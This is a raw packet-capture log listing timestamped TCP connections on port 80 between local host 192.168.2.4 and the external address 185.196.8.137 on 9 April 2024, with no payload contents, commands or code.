Apr 9, 2024 14:54:07.290436983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290457010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290476084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290498972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290518045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290535927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290556908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290576935 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290591002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290611982 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290630102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290649891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290671110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290693045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290712118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290723085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290743113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.290762901 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291820049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291853905 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291888952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291910887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291934967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291968107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.291997910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292021036 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292054892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292076111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292112112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292136908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292164087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292186022 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292215109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292236090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292272091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292295933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292359114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292474985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292496920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292516947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292536974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292557001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292578936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292596102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292625904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292649984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292721033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292742968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292778015 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292800903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292828083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292845964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292870998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292892933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292912006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292933941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292953014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292968988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.292990923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293009996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293034077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293056011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293082952 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293102980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293124914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293142080 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293282032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293318033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293345928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293365002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.293777943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294045925 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294074059 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294112921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294130087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294157028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294245958 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294506073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294528008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294553995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294576883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294604063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294620991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294648886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294666052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294692993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294711113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294738054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294753075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294780016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294802904 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294826984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294852972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294879913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294902086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294926882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.294943094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.301608086 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302047014 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302117109 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.302129030 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302297115 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302342892 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302347898 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.302385092 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.302391052 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302454948 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302500963 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.302503109 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.303108931 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.303169966 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.303189039 CEST	80	49743	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:07.303196907 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.303229094 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.303229094 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.325391054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.325392008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.325464964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.325464964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330054998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330085039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330106020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330127001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330142021 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330168962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330188990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330223083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330244064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330264091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330285072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330302000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330318928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330342054 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330357075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330466032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330481052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330502987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330523014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330540895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330563068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.330585003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.331892014 CEST	49743	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332222939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332257032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332277060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332298040 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332317114 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332338095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332354069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332379103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332393885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332412004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332432032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332448006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332488060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332505941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332529068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332545996 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332571983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332595110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332609892 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332632065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332652092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332669973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332690001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332710028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332727909 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332745075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332762957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332784891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332803011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332823992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332840919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332863092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332880020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332906008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332925081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332942963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332957983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332978964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.332993984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333015919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333030939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333051920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333067894 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333090067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333112001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333132029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333151102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333172083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333189964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333213091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333230972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333250999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333262920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333285093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333303928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333319902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333339930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333358049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333380938 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333400965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333424091 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333444118 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333458900 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333477974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333492994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333517075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333534956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333558083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333570957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333590031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333609104 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333625078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333650112 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333671093 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333689928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333705902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333725929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333745003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333761930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333781004 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333894014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333919048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333934069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333954096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333975077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.333997965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334012985 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334098101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334121943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334141970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334161043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334181070 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334204912 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334227085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334244967 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334279060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334301949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334413052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334429026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334498882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334515095 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334536076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334553003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334577084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334593058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334614992 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334630013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334690094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334708929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334731102 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334748030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334768057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334779978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334808111 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334830046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334845066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334872961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.334891081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335021973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335040092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335057020 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335081100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335100889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335163116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335179090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335200071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335222006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335233927 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335256100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335282087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335294008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335324049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335367918 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335386038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335407972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335428953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335448980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.335467100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336447954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336488962 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336508989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336528063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336621046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336663008 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336684942 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336781979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336853027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336870909 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336893082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336911917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336940050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336954117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336971998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.336992025 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337009907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337028980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337049007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337064981 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337083101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337101936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337120056 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337147951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337166071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337187052 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337205887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337228060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337249994 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337269068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337286949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337307930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337326050 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337405920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337490082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337507010 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337527037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337546110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337564945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337590933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337611914 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337630987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337649107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337668896 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337685108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337703943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337722063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337739944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337758064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337775946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337794065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337811947 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.337831020 CEST	49744	80	192.168.2.4	185.196.8.137
